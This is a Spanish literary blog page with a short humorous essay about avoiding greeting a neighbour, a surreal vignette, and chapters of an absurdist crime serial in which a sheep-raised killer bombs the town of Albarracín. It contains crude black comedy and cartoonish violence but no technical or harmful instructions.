A veces voy por la calle de enfrente para que esa pequeña distancia que nos separa explique la falta de saludo al pasar. Otras veces me hago el despistado y miro al suelo o hago como que hablo con el móvil o paso la esquina corriendo, como con mucha prisa...</h2>
<h2>
...pero ¿Por qué tengo que hacer yo éstas tonterías para no saludar a alguien que no tengo porqué saludar porque no lo conozco absolutamente de nada, salvo de vista porque está en la puta esquina de la calle todo el santo día?, eh?, ¿por qué?.</h2>
<h2>
(qué requemaera tengo!)</h2>
<h2>
Que alguien me lo explique.</h2>
<h2>
Éste tema me levanta dolores de cabeza.</h2>
<h2>
Hay días que, al abrir los ojos, aún en la cama, lo primero que me pregunto es "¿estará el tipo en la esquina o podré pasar sin saludarle?".</h2>
<h2>
Cuando no está, paso aliviado.</h2>
<div>
<br /></div>
<h2>
Y él, ¿qué pensará de todo ésto?, algo pensará. Tal vez se sienta igual de agobiado, es posible que desee que ésta situación del saludo acabe cuanto antes, como yo. En tal caso, no sólo llevo haciendo el gilipollas mas de dos años, también llevo molestándolo con mis saluditos insulsos todo ese tiempo.</h2>
<h2>
Por Dios!, me sublevo. </h2>
<h2>
Tengo que acabar con ésto.</h2>
<h2>
Alguna vez he pensado en acercarme a él y decirle directamente "perdona, soy el que pasa todos los días por aquí porque vivo ahí mismo y no tengo otra opción que pasar, ni te conozco ni quiero conocerte, ¿podríamos dejar de saludarnos ya, por favor?". A ver qué dice... pero es algo que, aunque haría encantado, comprendo que resulta descabellado y me tomaría por un loco.Yo mismo me asustaría al llegar a tal extremo. Además, después de acercarme a él estaríamos en las mismas, lo saludaría al pasar porque ya...en fin...ya nos conoceríamos.</h2>
<h2>
Qué difícil y complicado es todo.</h2>
<h2>
... Ahora voy a salir a tirar la basura y seguro que está abajo, en la esquina, fumándose un cigarro. Me mirará... y me temo que tendré que decirle algo,dedicarle un gesto al menos, un levantamiento de cejas, como mínimo.</h2>
<h2>
Con ese gesto, desganado, tal vez se haga a la idea de que tengo la firme intención de dejar de decirle nada al pasar . Así todo resultará mas sencillo. Si. </h2>
<div>
<h2>
Mañana, pase lo que pase, dejaré de saludarle.</h2>
</div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-79492312838428044972014-08-24T13:07:00.000-07:002014-08-24T13:25:36.610-07:00UNA SIMPLE ANÉCDOTA.<h2>
Me he abierto la tapa de los sesos con un abrelatas. He visto lo que tenía ahí dentro inclinándome en el espejo del cuarto de baño. Me ha dado asco, gusanos por todas partes, gusanos y lombrices... pero no me ha sorprendido, algo así pensaba encontrar.</h2>
<h2>
¿Estaré podrido?. Debo estarlo.</h2>
<h2>
Con un casco de equitación puesto, para que no se me viese la abertura, he ido a una tienda de mascotas y he comprado media docena de pececillos de colores, que me han servido en una bolsa de plástico transparente con agua. El de la tienda me ha contado, muy amablemente, como los he de cuidar, pero no le he prestado atención, simplemente le he sostenido la mirada, una mirada ausente. ¿Por qué?, no me interesaba lo que decía.</h2>
<h2>
He vuelto a casa a paso ligero y en cuanto he cerrado la puerta me he quitado el casco, me he levantado la coronilla y he soltado a los seis pececillos, con el agua y todo, en mi cerebro, para que se coman a los gusanos y a las lombrices.</h2>
<h2>
Hecho ésto, me he sentado en el taburete de la cocina para sentir el efecto. Rápidamente ha surtido: un sonido como de burbujas, refrescante, airoso, liberador, como cuando echas coca-cola en un desagüé atascado y ese desagüe eres tú.</h2>
<h2>
A los 5 minutos me he sentido mucho mas limpio, mas ligero, mas mentolado...si, con sabor a menta.</h2>
<h2>
¿Y ahora qué?, me he preguntado a mí mismo en voz alta. </h2>
<h2>
Ahora nada, me he contestado en voz baja, por llevarme la contraria.</h2>
<h2>
Ahora...</h2>
<h2>
Ahora criaré peces de colores en mi cerebro.</h2>
<h2>
Mi cabeza será una pecera.</h2>
<h2>
Me gusta esa idea.</h2>
<h2>
Así me siento bien, mucho mejor.</h2>
<h2>
Eso sí, tendré que ir a una mercería cuanto antes a que me cosan una cremallera de oreja a oreja, no puedo ir por la vida con la cabeza siempre abierta.</h2>
<div>
<br /></div>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-38165429449605242032014-02-28T15:12:00.004-08:002014-03-01T01:44:59.350-08:00EL ASESINO DE LOS DOMINGOS. CAOS EN ALBARRACÍN.<h2>
Una semana mas tarde,el monumental pueblo de Albarracín, al suroeste de la provincia de Teruel, amanecía vistiéndose de fiesta.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM4xSdYX58Byo0KidIwiEkyBBwQ-wLkSWnoBzlk9SppGIAUaCrysWlf3eDhJQYfW3wPm2XsZ0ieobtWl_9mJLUn5t0uJPz6-6oyIob83Ni7IbYCBv7gktn6W9wfYouaSr-Vir69KPJKTk/s1600/ALBARRAC%C3%8DN,2..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM4xSdYX58Byo0KidIwiEkyBBwQ-wLkSWnoBzlk9SppGIAUaCrysWlf3eDhJQYfW3wPm2XsZ0ieobtWl_9mJLUn5t0uJPz6-6oyIob83Ni7IbYCBv7gktn6W9wfYouaSr-Vir69KPJKTk/s1600/ALBARRAC%C3%8DN,2..jpg" height="213" width="320" /></a></div>
<div>
<br /></div>
<h2>
Damián Pérez, concejal de cultura del Ayuntamiento, se sentía orgullosísimo de organizar el primer Festival de músicas del mundo. Habían venido artistas de los cinco continentes , algunos famosos y otros desconocidos, pero todos espectacularmente étnicos. Aquel Domingo se inauguraría el festival con un discurso suyo. Un discurso donde ensalzaría la belleza de su pueblo, de su historia, de su patrimonio y del amor que todos sus habitantes (1.095 empadronados) siempre habían tenido por la cultura en general y por la música en especial. (ésto último era relativamente verdadero o mas bien, rotundamente falso. Sin embargo, se trataba de una mentira que quedaría muy bien, a nadie le amarga el dulce de creerse mas culto de lo que en realidad es).</h2>
<h2>
Salió el sol, iluminando un cielo despejado.</h2>
<h2>
Damian Pérez miraba por la ventana de su habitación tras vestirse de gala para dar el pistoletazo de salida al festival. Acto que tendría lugar al final de aquella mañana ,que acababa de comenzar , sobre el escenario central que habían levantado en la plaza mayor.</h2>
<h2>
Sería un día magnífico, daría un gran discurso,el pueblo estaría encantado con la idea de tener allí,cerca de ellos, a tanta "gente rara" y, lo que era mas importante, empezaban a llegar medios de comunicación de todo el país.</h2>
<h2>
Su nombre resaltaría en los telediarios regionales,eso le satisfacía enormemente. Ya soñaba, en pié tras la ventana, con llegar a ser algún día presidente de la comunidad de Aragón, puerta que se le abriría si conseguía su objetivo como concejal de cultura: que la Unesco declarase a Albarracín patrimonio de la Humanidad. Logro que podría estar al alcance de su mano gracias a iniciativas como la del festival de músicas del mundo. </h2>
<h2>
(Aunque, todo hay que decirlo, la iniciativa no fue suya exactamente, le robó la idea al único promotor de conciertos del pueblo, un chaval incomprendido por su melomanía y marginado por su afición a esnifar cocaína, paracetamol y hasta cal de la pared).</h2>
<div>
<br /></div>
<h2>
Eran las diez de la mañana y entre tanto personaje extraño pululando por las calles de Albarracín, la presencia de un moto carro verde con una persona con cara de oveja y look de espantapájaros al volante no llamó demasiado la atención. Mas de uno pensó: "éste debe ser uno de esos artesanos".</h2>
<h2>
Pepe Toni, que llevaba seis días pastando en los montes de alrededor, aparcó su vehículo y entró en el único bar de desayunos abierto. Estaba lleno de gente, músicos africanos,rockeros Tibetanos, chinos mandarines con sus contrabajos, rusos en bermudas y en bigotes templando la voz con botellas de vozka, un trío jazzistico de Andorra vestidos de relojes Casio digital, un coro de niños con enfermedades raras, los miembros de una orquesta sinfónica Somalí, Manolo el del bombo, el hijo bastardo de Bob Marley y su grupo "Me llega la rasta al culo band", el afilador del pueblo disfrazado de sioux (por si daba el pego y podía desayunar gratis), un grupo de perros caniches eslavos que sabían tocar la flauta travesera, un gitano alvino especialista en el cante de las minas y su guitarrista, el sanguijuela, la Montserrat Caballé del Perú (con su mismo peso pero con medio metro de altura), Horacio pincha discos, un grupo de Samba compuesto por monjas brasileñas vestidas de los pies a la cabeza con sus hábitos, para decepción de los varones de Albarracín,que esperaban otra cosa de éste conjunto.</h2>
<h2>
También había, como os podéis imaginar, un montón de curiosos, nativos y turistas atraídos por la singularidad de la estampa.</h2>
<h2>
Pepe Toni se acercó a la barra y, quitándose de encima a los caniches traveseros, que debieron de olerle a mierda de vaca (pues ese era el olor que solía despedir el muchacho) pidió una gran jarra de agua y se la bebió de un trago.Después pidió otra, y otra y otra, así hasta que un rockero Tibetano quiso trabar amistad con él ofreciéndole un abrazo místico en señal de bienvenida. Momento que aprovechó Pepe Toni, el muchacho sin sensibilidad, para mearse encima y empapar los pies desnudos del rockero experto en mantras y guitarras eléctricas. De ésta forma tan fina se lo quitó de encima.</h2>
<h2>
Salió de nuevo a la calle, abrió las puertas de atrás del carro mato y por primera vez echó un vistazo al interior de las cajas que les había robado al comando etarra. Se trataba de explosivos, material altamente peligroso. Pepe Toni sonrió enseñando sus dientes de burro. (en realidad, todos sus dientes parecían muelas).</h2>
<h2>
Sin pensárselo dos veces, empezó a colocar explosivos en diferentes partes del pueblo.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjklmoNNTa4m7Cj9HCyDqSti2QJE7PaQkCDCzIAaB3B5uLFITlUNKHUSNe47tYRlhEWy3PyO1_dIlIbxUQcu08GKVsK2ZFnkTxPY5stG7NSzSg1oM_Maq3G6mnaP1HZ4uYGANA9m9GfL8/s1600/albarracin.+teruel..JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjklmoNNTa4m7Cj9HCyDqSti2QJE7PaQkCDCzIAaB3B5uLFITlUNKHUSNe47tYRlhEWy3PyO1_dIlIbxUQcu08GKVsK2ZFnkTxPY5stG7NSzSg1oM_Maq3G6mnaP1HZ4uYGANA9m9GfL8/s1600/albarracin.+teruel..JPG" height="62" width="320" /></a></div>
<div>
<br /></div>
<h2>
El bullicio iba en aumento en Albarracín, ya salía la gente a la calle, ya se hacían pruebas de sonido en los distintos escenarios, se abrían los puestos de artesanía, los reporteros grababan aquí y allá, hacían entrevistas a los paisanos, la comitiva municipal se paseaba por el centro como gallos de corral ( entre ellos, el que mas se pavoneaba era Damian Pérez, que le sudaba la mano derecha, metida en el bolsillo de la chaqueta sujetando el folio donde tenía escrito su discurso).</h2>
<h2>
Se acercaba el gran momento.</h2>
<div>
<br /></div>
<h2>
No muy lejos de allí, en los aledaños del zulo de Iñaki, Aitor y Zaratustra, se hallaban el agente Champiñón y su ayudante Foxterrier, siguiendo la pista que había ido dejando el carro mato de Pepe Toni.</h2>
<h2>
Se encontraron con Iñaki, que partía leña con su cabeza, y, tras identificarse, le preguntaron si había visto un moto carro verde por allí. Iñaki simuló tartamudez y sordera para ganar tiempo y poder pensar así qué debía hacer. Tan bien lo hizo que Champiñón,al cabo de media hora infructuosa, perdió la paciencia y se despidió de Iñaki con la frase "no le interrumpo mas, buen hombre". </h2>
<h2>
Aun así tuvieron suerte, Foxterrier, que debía tal apelativo a su habilidad para el rastreo, encontró marcas de ruedas que se correspondían con las del carro mato verde que andaban buscando. Champiñón tuvo la intención de volver a interrogar de nuevo a Iñaki, pero miró su reloj y le dijo a su ayudante " ya interrogaremos en otra ocasión a éste pájaro, sigamos ahora las huellas del moto carro, nos llevarán hasta el asesino ". </h2>
<div>
<br /></div>
<h2>
El asesino de los Domingos, Pepe Toni, no sabía manejar explosivos, pero dentro de las cajas venían las instrucciones explicando muy claramente qué había que hacer para preparar dicho material y provocar la explosión pertinente. (ésto era así porque la cúpula del grupo terrorista no confiaba plenamente en la destreza - ni en la inteligencia- de Iñaki,Aitor y Zaratustra, que adoraban la Ikurriña pero no tenían dos dedos de frente).</h2>
<div>
<br /></div>
<h2>
Llegó la hora del discurso inaugural del Festival de las músicas del mundo a cargo de Damian Pérez, el concejal de cultura que ya subía al escenario con su traje gris perla y gesto ceremonioso. Todos los medios de comunicación estaban pendientes del momento, los habitantes del pueblo concentrados en la plaza, los músicos en el backstage , esperando su momento para saludar al público, una vez fuesen presentados uno a uno por el concejal. </h2>
<h2>
La plaza estaba abarrotada,todo el mundo radiante, excitado,alegre. Todos menos uno, el Alcalde, que veía cómo el mindungui de Damian se le subía a las barbas. </h2>
<div>
<br /></div>
<div>
<br /></div>
<h2>
El discurso empezó de la siguiente manera "Queridos vecinos, estimados forasteros, admirados artistas,respetados periodistas y excelentísimo Alcalde. Es un placer para mí..."</h2>
<h2>
En aquel momento justamente explotó el primer artefacto a unos 500 metros de la plaza, derrumbando un buen tramo de la muralla medieval que rodea y viste al pueblo con hechuras de fortaleza.</h2>
<h2>
Fue motivo de alarma, se oyeron gritos y la inquietud se apoderó del auditorio. En cambio, Damian Pérez, tan absorto y bien querido de sí mismo se hallaba leyendo su discurso que ni se dio cuenta del suceso y prosiguió con su discurso, que decía: "Es un placer para mí, vuestro humilde concejal de cultura, inaugurar éste primer festival de músicas del mundo aquí, en nuestro amado pueblo, un pueblo siempre hospitalario, abierto, noble y rico en todos los aspectos y merecedor de..."</h2>
<h2>
Otra gran explosión interrumpió las pomposas palabras de Damián. Ésta vez se vino abajo la iglesia, del siglo XVI, uno de los grandes monumentos de la población. El cura exclamó " Virgen Santísima!!!" y todos los allí congregados empezaron a correr de un lado a otro como hacen las hormigas cuando agitas el hormiguero. Damian Pérez seguía a lo suyo "...merecedor de todos los patrimonios, el de la humanidad y el del universo. De gran valor son nuestros monumentos, mimoso en extremo el cuidado que les brindamos e ilustrísima la Historia del conjunto en su conjunto,valga la rotonda, digo...la ...redundancia" (nervio tampoco le faltaba al ambicioso concejal).</h2>
<h2>
Puuumba!. Una tercera explosión, mas fuerte aún que las anteriores, destrozó un barrio entero. La sangre empezó a cobrar protagonismo y los periodistas se convirtieron en reporteros de guerra. </h2>
<h2>
Damian, ajeno al mundo exterior, no despegaba los ojos del papel donde tenía escrito el discurso, que continuaba diciendo "No en vano, somos lo que somos y vivimos donde vivimos porque fuimos lo que fuimos y a saber por qué vinimos. El caso es, vecinos y forasteros, que..." (a Damian, casi no es necesario decirlo, nunca se le dio bien escribir discursos).</h2>
<div>
<br /></div>
<h2>
La cuarta y última bomba estaba colocada bajo el escenario de la plaza, al explotar hizo saltar por los aires al concejal de Cultura, que aún volando, y sin brazos, decía "...que aquí estamos y os prometo, como Damián Pérez que me llamo, que seguiremos estando y ...voy al grano:Unesco, patrimonio de la Humnanidad yaaaaa, arg,arggg".</h2>
<h2>
La plaza se vino abajo, el pueblo entero estaba en llamas.</h2>
<h2>
Pepe Toni, sentado al lado de una gallina blanca sobre el tejado de la única casa en pié, saboreaba impasible las trágicas consecuencias de sus actos. La gallina le miraba como a un bicho raro, pues hasta ella se daba cuenta de que aquello no era normal.</h2>
<h2>
Como a Pepe Toni se le dormían las piernas cuando las dejaba colgando un rato, le dio un manotazo a la gallina (que calló sobre la cabeza amputada de Damian Pérez) y bajó del tejado, encaminando sus pasos hacia el carro mato, aparcado previamente fuera del recinto urbano. </h2>
<h2>
Fue entonces cuando se encontró de frente con el Agente Champiñón y su ayudante Foxterrier, que entraban en Albarracín en coche de alta gama y pésimo color (mostaza).</h2>
<h2>
"¿Qué está ocurriendo aquí, buen hombre?" le preguntó Champiñón a Pepe Toni, sin saber, claro está, a quien se lo preguntaba en realidad. "El asesino de los Domingos a vuelto a hacer de las suyas, señor. Yo me voy por donde he venido, buenas tardes", le respondió Pepe Toni.</h2>
<div>
<br /></div>
<h2>
Y se fue con viento fresco quedando al pobre pueblo de Albarracín en ruinas,patrimonio de las ratas, a su concejal de cultura sin cabeza y a la población diezmada, moribunda, descuartizada.</h2>
<h2>
(hubo 45 supervivientes. Mas tarde, frente a cámaras de televisión, uno de ellos declararía "no veía una cosa así desde la Edad Media").</h2>
<div>
<br /></div>
<h2>
El siguiente objetivo de Pepe Toni sería la capital de España, Madrid.</h2>
<h2>
Al volante de su moto carro verde baló a viva voz "Beeeeeeee!!!". Se sentía mejor que nunca. </h2>
<h2>
Lo que ignoraba era que, ésta vez sí, Champiñón y Foxterrier no tardarían en darle alcance.</h2>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-88227616656071901422014-02-24T02:11:00.000-08:002014-02-24T02:16:32.939-08:00EL ASESINO DE LOS DOMINGOS. EL AGENTE CHAMPIÑÓN Y SU AYUDANTE FOXTERRIER.<h2>
Al día siguiente, Portugal amaneció consternada por la matanza de Lisboa. La noticia alarmó al país entero, acaparó las portadas de todos los periódicos. En la radio y en la televisión no se hablaba de otra cosa. </h2>
<h2>
Aquel mismo Lunes, a las nueve de la mañana , el Agente Champiñón y su ayudante Foxterrier abandonaban,de muy mala gana, el apartamento que habían alquilado en primera línea de playa en la capital del Surf, Ericeida,a 50 kilómetros de Lisboa. Y es que no se iban por gusto,obedecían órdenes. Desde la comisaría central de París les encomendaron la misión de ayudar a la Policía portuguesa en el caso, aprovechando que estaban cerca, aunque fuese de vacaciones. </h2>
<h2>
El Agente Champiñón se había ganado cierta reputación después de haber capturado, años atrás, a "Henry el asqueroso", el abominable violador de ancianas que sembró el terror en residencias y geriátricos de Francia.La labor de su ayudante Foxterrier, compañero inseparable, fue decisiva: Disfrazándose de anciana - decrépita, como le gustaban a Henry- y colocándose estratégicamente apoyado en la baranda de uno de los puentes sobre el Sena , lograron atraer al enfermo sexual, tentar su depravada calentura y picar el anzuelo (aunque mas que picar, mojó. En el momento de la violación, Champiñón, que debía estar al acecho y dispuesto a entrar en acción en cualquier momento, andaba distraído tras la ingesta de hachís ,vía porrete, y redujo a Henry ya después de haber consumado el acto aberrante, para desgracia y desgarre anal de Foxterrier). En cualquier caso, como digo, la captura de "Henry el asqueroso" le dio fama y prestigio. </h2>
<h2>
A las 9,45 de la mañana de aquel Lunes, el Agente y su ayudante eran recibidos con gravedad a la entrada del gabinete central de la Gendarmería Portuguesa (en Lisboa) por el inspector jefe de la policía que a continuación les relataría los acontecimientos acaecidos el día anterior (Domingo) en aquel sangriento tranvía.</h2>
<div>
<br /></div>
<h2>
Mientras tanto, nuestro peligroso amigo Pepe Toni se alejaba de la capital portuguesa conduciendo un flamante moto carro verde recién robado. Atravesó el país entero sin descanso, conduciendo por carreteras comarcales y caminos vecinales.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgegQ1WlMMX65Q08KGdqKiwwl76y3bVooLIXsVrxvORLEzz4R72XodXz8uLIfvCDhpxlHcXnuVavoicDJDzIKMqCBgtnO4vPR6wLiOURkyFtQzmUZlNUJQI72iOCTbKkURvFx0-RR8wHPA/s1600/MOTO+CARRO+VERDE..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgegQ1WlMMX65Q08KGdqKiwwl76y3bVooLIXsVrxvORLEzz4R72XodXz8uLIfvCDhpxlHcXnuVavoicDJDzIKMqCBgtnO4vPR6wLiOURkyFtQzmUZlNUJQI72iOCTbKkURvFx0-RR8wHPA/s1600/MOTO+CARRO+VERDE..jpg" /></a></div>
<div>
<br /></div>
<h2>
En sus años de lazarillo con Bartolo, el payaso gerente del tren de los escobazos, no sólo aprendió a dar garrotazos y a disfrutar del dolor ajeno, sino también a conducir (cosa que hacía con frecuencia para que el feriante pudiese dormir la mona a gusto en los viajes de pueblo en pueblo) y a saber orientarse por éste tipo de carreteras.</h2>
<h2>
Llegó a España sin problema, parando únicamente para pastar en algún monte ( seguía alimentándose de hierba fresca) y repostar gasolina, que pagaba con sus ahorros como limpiabotas.</h2>
<h2>
En el gabinete central de la gendarmería portuguesa, el Agente Champiñón y su ayudante Foxterrier perdían la paciencia con la parsimonia y la saudade que caracterizaban el gesto, el ritmo y las explicaciones de las autoridades Lusas. Tras varias horas de confusa charla , en torno a la matanza de Lisboa, a base de susurros y muecas lastimeras por parte del inspector jefe de policía Lisboeta, Champiñón atajó el asunto diciendo "al grano, señor Pereira - que así se llamaba el inspector - enséñenos el retrato robot del asesino y le daremos caza lo antes posible". </h2>
<h2>
A lo cual, el inspector Pereira contestó con un "ahora mismo" que tardó en concretarse cuatro vueltas de aguja de reloj, para desesperación del agente y su ayudante que se amargaban pensando en el lindo tiempo perdido, pudiendo estar en esos momentos tomando el sol en la playa de Ericeida.</h2>
<h2>
Para cuando el retrato robot de Pepe Toni estuvo listo, ya estaba éste en la provincia de Teruel,España. Tras largas horas de conducción temeraria a lomos de su verde moto carro, hizo un alto en el camino para descansar. Camufló el vehículo entre unos arbustos y subió a unas peñas en busca de refugio. </h2>
<h2>
Lo encontró accidentalmente, cayendo en una cueva que se hallaba oculta tras unas zarzas. Ya en el interior, aturdido por la caída y los golpes,y con signos de agotamiento, cerró los ojos y durmió a pierna suelta.</h2>
<h2>
Al despertar, oyó voces que procedían del túnel oscuro por donde se prolongaba la cueva. Las voces se acercaban a él, pronto distinguió el foco de luz de varias linternas, quiso escalar y salir de aquel agujero, pero no lo consiguió y fue atrapado, maniatado y amordazado por tres hombres de unos treinta y pico años, cabeza ancha, pelo de punta en la coronilla,coletilla por el cuello y pendiente de aro en la oreja izquierda.</h2>
<h2>
Lo condujeron a un habitáculo, dentro de la cueva. Entre ellos hablaban en euskera, se trataba nada mas y nada menos que de un comando Etarra, resultando ser aquel lugar un auténtico zulo.</h2>
<div>
<br /></div>
<div>
<h2>
Viendo el retrato robot del presunto asesino del tranvía, el agente Champiñón se llevó las manos a la cabeza como diciendo "trágame tierra". Y es que el dibujo en cuestión ilustraba a una persona con el cuello tan inclinado hacia abajo que sólo se veía un sombrero de paja. "Ques que se?" preguntó en francés, aunque no lo era realmente, "ésto es el dibujo de un sombrero...¿acaso un sombrero de paja fue el causante de la muerte de 12 + una personas?", preguntó colérico y supersticioso. "No hemos encontrado a nadie que le viese la cara, siempre andaba mirando al suelo" dijo pausadamente Pereira. "¿ y Qué hay de las huellas dactilares?" quiso saber Champiñón. "el sujeto no ha dejado ninguna huella, sólo restos de tierra" dijo Pereira encogiéndose de hombros. "¿restos de tierra?" repitió asombrado el agente.</h2>
<h2>
Y es que ellos no lo sabían, pero a Pepe Toni, de tanto andar a cuatro patas con las ovejas salvajes en el pasado, se le fueron recubriendo las huellas dactilares de pegotes de tierra, incrustándose en su piel y formando una capa dura y terrosa sobre sus yemas.</h2>
</div>
<div>
<br /></div>
<h2>
Paralelamente,los Terroristas interrogaban a Pepe Toni, en castellano, preguntándole quién era y qué buscaba por allí. Pepe Toni, muy nervioso, se puso a balar "beeeeeee" y a balar "beeeeee". Los tres etarras, Iñaki, Aitor y Zaratustra, se miraban entre sí sin saber qué hacer ni qué pensar al respecto, con lo que, como ya pronto se haría de de noche y querían jugar unas partiditas al parchís antes de acostarse, decidieron- en euskera- posponer tal decisión para la mañana siguiente. Así pues, ataron a Pepe Toni a una silla y se fueron a sus camastros a soñar con goma 2, por ejemplo.</h2>
<h2>
Estando sólo Pepe Toni pensó " ésta es la mía" y se comió el trapo que lo amordazaba, deshizo el nudo que ataban sus brazos con sus manos pezuñosas y se liberó de la silla. Buscando la salida, a tientas, pues estaba todo oscuro, se topó con un cuarto lleno de cajas. Por joder a sus tres secuestradores, se llevó todas las que pudo utilizando una carretilla y, aunque no le fue fácil, encontró una salida practicable y sin moros (ni etarras) en la costa. </h2>
<h2>
En la oscuridad de la noche recurrió a su olfato ovejero y así encontró el moto carro, donde cargó las cajas y salió pitando, sin mirar atrás. </h2>
<h2>
( Eran las 4 de la madrugada: Iñaki soñaba que derrumbaba un roble a cabezazos, Aitor que se bebía 25 litros de cerveza de un trago y Zaratustra que estaba en una fiesta donde todos bebían cócteles molotov).</h2>
<h2>
A esa misma hora, cuando Champiñón y Foxterrier dormían en un Hotel de Lisboa -soñando con grandes olas y cuartos oscuros- recibieron una llamada telefónica del inspector jefe. Había sido denunciado el robo de un moto carro y éste hecho delictivo asociado a un personaje extraño con sombrero de paja. De mal humor, nuevamente, se levantaron de la cama maldiciendo al puñetero Pereira y se pusieron en acción siguiendo el rastro del dichoso moto carro de los huevos. </h2>
<div>
<br /></div>
<div>
<h2>
Amaneciendo ya el día siguiente, Pepe Toni entraba en el noble pueblo de Albarracín, patrimonio nacional por la belleza e importancia de sus monumentos históricos. En su carromato llevaba 70 kilos de amonal y explosivos varios. No tardaría mucho tiempo en darse cuenta y mucho menos en utilizar semejante material para poner patas arriba Albarracín y provocar una nueva atrocidad sin sentido, ésta vez de catastróficas dimensiones.</h2>
</div>
<h2>
De la cual, por supuesto, daremos cuenta en el siguiente capítulo,no exento de peligro y emoción pues Champiñón y Foxterrier pisarán los talones de Pepe Toni, literalmente.</h2>
<div>
<br /></div>
<h2>
Corto y cambio.</h2>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
</h2>
<h2>
</h2>
<div>
<br /></div>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-85939543806248895452014-02-16T04:13:00.003-08:002014-02-16T11:01:00.846-08:00EL ASESINO DE LOS DOMINGOS. MATANZA EN LISBOA.<h2>
Los padres de Pepe Toni fueron grandes admiradores de las películas de Tarzán. Aunque el calificativo de "admiradores" , a decir verdad, se queda corto. Tenían tal fijación por el rey de la selva y el mundo salvaje que le rodeaba, que cuando ella, la madre, quedó embarazada del futuro P.T. (Pepe Toni) desearon desde el primer momento que fuese una niña; pero no una niña cualquiera,tenía que ser una niña peluda a la que llamar Chita, como la mona amiga de la familia real de la selva.</h2>
<h2>
Durante los nueve meses de gestación, soñaron con Chita, y en torno a ella forjaron un sueño : irse a vivir al Amazonas los tres juntos,construir una casa en la copa de un árbol, a una distancia prudencial de los Jíbaros proponía la madre, con el fin de no acabar con sus cabezas reducidas , y allí colgarse de las lianas, gritar "AAAAAAA" con el soniquete característico de su ídolo, el Gran Tarzán, andar en taparrabos y nadar libremente sobre los caudalosos ríos sin temor a los cocodrilos, a los que "engañarían fácilmente ya se les ocurriría cómo" , palabras textuales del padre, que lo dejaba todo a la improvisación confiando siempre en que mañana sería mas listo que hoy (por supuesto ese mañana... nunca llegaría).</h2>
<h2>
En resumidas cuentas, esperaban con ansiedad y obsesión el alumbramiento de la niña peluda, que sólo existió en sus delirantes pensamientos, para irse al soñado paraíso.</h2>
<h2>
Tanto fue así que al nacer nuestro protagonista, varón y de pelo mas bien castaño claro tirando a rubio sobre todo en verano, se llevaron una decepción mayúscula que les provocó una depresión profunda que les hizo abandonarlo, a la postre y tras cinco años de patética crianza , en aquel bosque, para que fuese criado en un entorno natural y desaparecer así de la vista de sus progenitores.</h2>
<h2>
El por qué le llamaron Pepe Toni, es decir, Jose Luis, no lo se. Tal vez ella, la madre, dijo sin ilusión alguna "le pondremos Jose " y él, el padre, vagamente replicase como por inercia "¿y por qué no Luis?", con lo que unieron criterios sin darle mas vueltas a un asunto que poco les importaba ( una vez descartado el nombre de Chita) y le pusieron dicho nombre. Digo yo.</h2>
<div>
<br /></div>
<h2>
Pero volvamos ahora al punto donde dejamos ésta historia. </h2>
<h2>
Tras ser criado por una manada de ovejas salvajes en el bosque y convertirse después en el lazarillo de Bartolo, payaso y gerente del tren de los escobazos, Pepe Toni descubre el placer del asesinato sin premeditación. </h2>
<h2>
Comete su primer crimen a la edad de 15 años, etapa evolutiva cuando menos delicada, y a partir de entonces, si su vida ya estaba algo torcida, termina por retorcerse del todo, como un tronco raro que quiere vivir buscando la luz, esquivando un montón de rocas, que no le dejan.</h2>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcrcBB4Xrlt34sX6jVLj5ib6b7C8_WIrStiGfy68NacrT2soGJYZE0lYDw4j1vdcqUWT9Q29T1U3HYocg_OdLZ8-GbRXNjbqh5bFD-phyovmb6SXLlzPTDZegShOEkWOM9AoXm4DeGRbw/s1600/HOMBRE+TRONCO+TRONCO..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcrcBB4Xrlt34sX6jVLj5ib6b7C8_WIrStiGfy68NacrT2soGJYZE0lYDw4j1vdcqUWT9Q29T1U3HYocg_OdLZ8-GbRXNjbqh5bFD-phyovmb6SXLlzPTDZegShOEkWOM9AoXm4DeGRbw/s1600/HOMBRE+TRONCO+TRONCO..jpg" height="320" width="264" /></a></div>
<br /></div>
<h2>
Tras aquel primer asesinato, decide independizarse de Bartolo y empieza su andadura en solitario. </h2>
<h2>
Pepe Toni se aleja del pueblo donde lo dejamos en el anterior relato caminando por la carretera sin mas bulto que la ropa que lleva puesta: unos zapatos viejos,unos calcetines negros (de suciedad), un pantalón corto de pana marrón, camisa y jersey gris y sombrero de paja. Viéndolo alejarse al atardecer por la desierta carretera,entre olivos y encinas, se diría que cobró vida un espantapájaros .</h2>
<div>
<br /></div>
<h2>
Dos meses mas tarde trabaja de Limpiabotas en Lisboa, la capital portuguesa. El cómo llegó allí ya lo contaremos en otra ocasión, aunque no prometo nada.(de todas formas...¿qué mas da?).</h2>
<h2>
